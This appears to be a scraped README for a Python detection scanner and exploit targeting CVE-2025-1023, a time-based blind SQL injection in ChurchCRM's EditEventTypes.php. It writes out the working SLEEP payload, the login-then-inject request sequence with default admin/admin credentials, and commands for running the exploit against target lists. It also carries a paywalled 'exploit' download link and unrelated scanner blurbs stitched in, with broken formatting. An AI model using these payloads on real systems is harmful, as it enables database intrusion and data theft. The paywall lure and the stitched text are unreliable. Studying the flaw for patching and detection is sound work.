
Detection scanner and exploit for CVE-2025-1023, a time-based blind SQL injection in ChurchCRM EditEventTypes newCountName, with CSV/JSON reporting.

Fast YAML-based vulnerability scanner with template-driven detection engine for automated security testing across web apps, APIs, networks, DNS, and cloud infrastructure.

Open-source web application security scanner for automated vulnerability detection, manual penetration testing, and API security testing with a proxy-based interception engine.

This repository contains the scanner component for Greenbone Community Edition.
ChurchCRM - SQL Injection (time-based blind, EditEventTypes newCountName)
| field | value |
|---|---|
| CVE | CVE-2025-1023 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD primary; NVD also records a secondary CVSS:4.0 score 9.3) |
| fixed in | 5.13.1 (affected: ChurchCRM 5.13.0 and prior) |
| class | SQL injection, time-based blind (CWE-89) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT4bha
ChurchCRM 5.13.0 and prior concatenate the POST parameter
newCountName of EditEventTypes.php directly into the
INSERT eventcountnames_evctnm ... statement, giving a time-based
blind SQL injection reachable by an authenticated (admin) session.
A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.
In src/EditEventTypes.php the Action=ADD case builds
INSERT eventcountnames_evctnm (evctnm_eventtypeid, evctnm_countname) VALUES ('$theID','$newCTName') from the raw $_POST values; the
payload 1' AND (SELECT SLEEP(8)) AND '1'='1 therefore pauses the
response by 8 seconds. The nuclei template (max-request: 2) first
posts User=...&Password=... to /session/begin, then the injection
body to /EditEventTypes.php under a 30s request timeout, and matches
on the conjunction of duration_2 >= 8, status_code_2 == 500 and
contains(body_2, "<title>ChurchCRM: Edit Event Types").
Remediation: upgrade to ChurchCRM 5.13.1 or later.
Cookie: header).POST {BaseURL}/session/begin with body
User={{username}}&Password={{password}} (template defaults
admin/admin)POST {BaseURL}/EditEventTypes.php with body
EN_tyid=1&newEvtName=Test&newEvtStartTime=10:30:00&newCountName=1' AND (SELECT SLEEP(8)) AND '1'='1&Action=ADD,
request timeout 30s (template @timeout 30s)duration_2 >= 8 AND
status_code_2 == 500 AND body contains
<title>ChurchCRM: Edit Event Types.check(url) returns (True, details) only when all three hold;
otherwise (False, details); details keeps login_status,
inject_status, duration_2, the three boolean matcher results and
a 300-char body head.token is computed over the JSON result so a reflected
response can be told apart from real execution.urls.txt are auto-prefixed with http://.python scanner/CVE-2025-1023/scanner.py urls.txt 8 CVE-2025-1023.csv --json CVE-2025-1023.json
python exploit/CVE-2025-1023/exploit.py http://target/ --csv CVE-2025-1023.csv --json CVE-2025-1023.json --verbose
urls.txt is a plain file, one target per line, # for comments.
RCE POC SUITE
scanner : CVE-2025-1023 v1.0.0
threads : 8 | csv: CVE-2025-1023.csv | json: CVE-2025-1023.json
[..] loaded 2 target(s) from urls.txt
[..] [1/2] http://crm.internal:80 -> VULNERABLE
[..] [2/2] http://127.0.0.1:8090 -> not-vuln
[..] summary: total=2 vulnerable=1 not-vuln=1 errors=0
[..] timing : avg=8420ms max=8510ms wall=8.6s
[..] report saved: CVE-2025-1023.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-execution (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored |